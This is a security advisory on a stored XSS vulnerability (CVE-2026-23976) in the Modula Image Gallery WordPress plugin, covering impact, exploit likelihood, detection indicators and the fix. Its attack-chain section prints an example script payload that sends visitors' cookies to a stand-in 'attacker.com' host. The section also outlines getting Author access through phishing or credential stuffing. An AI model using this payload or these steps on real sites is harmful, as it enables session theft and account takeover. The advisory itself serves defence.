CVE-2026-23976: 
WordPress vulnerability analysis and mitigation

CVE-2026-23976 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Chill Modula Image Gallery WordPress plugin (slug: modula-best-grid-gallery). It affects all versions up to and including 2.13.4, and was reported by researcher "johska" and disclosed by Patchstack on January 22, 2026, with a patched version (2.13.5) released by February 4, 2026. The vulnerability carries a CVSS v3.1 base score of 5.9 (Medium), as assessed by Patchstack (Patchstack, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An attacker with Author-level or higher WordPress privileges can inject malicious scripts into gallery-related fields that are subsequently stored in the database and rendered unsanitized to site visitors. Exploitation requires high privileges (Author role) to inject the payload and user interaction (a victim visiting the affected page) to trigger execution, with the scope changed to affect the victim's browser context (Patchstack, NVD).

Successful exploitation allows a malicious actor with Author-level access to inject persistent JavaScript payloads into WordPress pages served to site visitors. This can result in session cookie theft, credential harvesting, malicious redirects, defacement, or delivery of drive-by malware to site guests. The confidentiality, integrity, and availability impacts are each rated Low, but the changed scope means the impact extends beyond the plugin itself to affect end users' browsers (Patchstack).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority with unlikely exploitation, though it notes that XSS vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites (Patchstack, NVD).

1. Reconnaissance: Identify WordPress sites running Modula Image Gallery plugin version ≤ 2.13.4 using tools like WPScan or by checking the plugin version in the site's /wp-content/plugins/modula-best-grid-gallery/ directory.
2. Obtain Author-level access: Gain or already possess WordPress credentials with at least Author privileges (e.g., via credential stuffing, phishing, or a compromised account).
3. Inject malicious payload: Navigate to the Modula Image Gallery plugin settings or gallery editor in the WordPress admin panel and insert a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field that is stored in the database.
4. Trigger execution: Wait for a victim (site visitor or administrator) to load a page containing the affected gallery, causing the stored script to execute in their browser.
5. Harvest results: Collect stolen session cookies, credentials, or other data exfiltrated to the attacker-controlled server, potentially enabling account takeover or further attacks (Patchstack).

• Logs: WordPress access logs showing POST requests to gallery/plugin admin endpoints (e.g., /wp-admin/admin-ajax.php or Modula gallery save endpoints) from unexpected IP addresses or user accounts.
• Database: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload) stored in the wp_posts or plugin-specific database tables associated with Modula gallery entries.
• Network: Outbound HTTP requests from site visitors' browsers to unknown external domains shortly after loading pages with Modula galleries, potentially carrying cookie or credential data.
• File System: No direct file-system artifacts expected for stored XSS; however, review plugin files in /wp-content/plugins/modula-best-grid-gallery/ for unauthorized modifications.

The primary remediation is to update the Modula Image Gallery plugin to version 2.13.5 or later, which contains the fix for this vulnerability (Patchstack). If immediate update is not possible, restrict Author-level and above WordPress user accounts to trusted individuals only, and consider using a Web Application Firewall (WAF) or a security plugin (such as Patchstack with virtual patching enabled) to block exploitation attempts. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard.

Wordfence included this vulnerability in their weekly WordPress vulnerability report for February 2–8, 2026, and Sucuri referenced it in their February 2026 vulnerability patch roundup, indicating routine coverage within the WordPress security community (Wordfence, Sucuri). No significant vendor statements or notable researcher controversy beyond standard disclosure have been observed.